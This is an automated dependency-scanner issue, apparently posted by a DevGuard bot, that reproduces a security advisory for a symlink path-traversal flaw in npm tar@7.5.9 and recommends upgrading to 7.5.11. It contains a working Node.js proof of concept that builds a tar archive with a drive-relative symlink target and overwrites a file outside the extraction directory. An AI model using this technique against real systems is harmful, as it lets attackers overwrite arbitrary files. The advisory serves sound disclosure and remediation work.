GHSA-9ppj-qmqm-q256 found in npm/tar@7.5.9

[devguard-bot-dev]

GHSA-9ppj-qmqm-q256 found in npm/tar@7.5.9

Important

Risk: 1.95 (Low)
CVSS: 8.2

Description

Summary

tar (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as C:../../../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction.

Details

The extraction logic in Unpack[STRIPABSOLUTEPATH] validates .. segments against a resolved path that still uses the original drive-relative value, and only afterwards rewrites the stored linkpath to the stripped value.

What happens with linkpath: "C:../../../target.txt":

1. stripAbsolutePath() removes C: and rewrites the value to ../../../target.txt.
2. The escape check resolves using the original pre-stripped value, so it is treated as in-bounds and accepted.
3. Symlink creation uses the rewritten value (../../../target.txt) from nested path a/b/l.
4. Writing through the extracted symlink overwrites the outside file (../target.txt).

This is reachable in standard usage (tar.x({ cwd, file })) when extracting attacker-controlled tar archives.

PoC

Tested on Arch Linux with tar@7.5.10.

PoC script (poc.cjs):

const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')

const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(cwd, 'poc.tar')

fs.writeFileSync(target, 'ORIGINAL\n')

const b = Buffer.alloc(1536)
new Header({
  path: 'a/b/l',
  type: 'SymbolicLink',
  linkpath: 'C:../../../target.txt',
}).encode(b, 0)
fs.writeFileSync(tarFile, b)

x({ cwd, file: tarFile }).then(() => {
  fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\n')
  process.stdout.write(fs.readFileSync(target, 'utf8'))
})

Run:

node poc.cjs && readlink a/b/l && ls -l a/b/l ../target.txt

Observed output:

PWNED
../../../target.txt
lrwxrwxrwx - joshuavr  7 Mar 18:37 󰡯 a/b/l -> ../../../target.txt
.rw-r--r-- 6 joshuavr  7 Mar 18:37  ../target.txt

PWNED confirms outside file content overwrite. readlink and ls -l confirm the extracted symlink points outside the extraction directory.

Impact

This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.

Realistic scenarios:

• CLI tools unpacking untrusted tarballs into a working directory
• build/update pipelines consuming third-party archives
• services that import user-supplied tar files

Affected component

The vulnerability is in pkg:npm/tar@7.5.9, found in artifacts pkg:oci/devguard-documentation?repository_url=ghcr.io/l3montree-dev/devguard-documentation&arch=amd64&tag=main-amd64, pkg:oci/l3montree-cybersecurity/devguard/devguard-documentation.

Recommended fix

Upgrade to version 7.5.11 or later.

# Update all vulnerable npm packages
npm audit fix
# Update only this package
npm install tar@7.5.11 

Additional guidance for mitigating vulnerabilities

Visit our guides on devguard.org

See more details...

Path to component

 %%{init: { 'theme':'base', 'themeVariables': {
'primaryColor': '#F3F3F3',
'primaryTextColor': '#0D1117',
'primaryBorderColor': '#999999',
'lineColor': '#999999',
'secondaryColor': '#ffffff',
'tertiaryColor': '#ffffff'
} }}%%
 flowchart TD
Your_application(["Your application"]) --- pkg_npm_tar_7_5_9(["pkg:npm/tar\@7.5.9"])

classDef default stroke-width:2px

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Risk Factor	Value	Description
Vulnerability Depth	1	The vulnerability is in a direct dependency of your project.
EPSS	0.25 %	The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
EXPLOIT	Not available	We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database. There are no script kiddies exploiting this vulnerability.
CVSS-BE	7.1
CVSS-B	8.2	- The vulnerability requires local access to the device to be exploited. - It is easy for an attacker to exploit this vulnerability. - An attacker does not need any special privileges or access rights. - No user interaction is needed for the attacker to exploit this vulnerability.

More details can be found in DevGuard

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[devguard-bot-dev]

Risk exceeds predefined threshold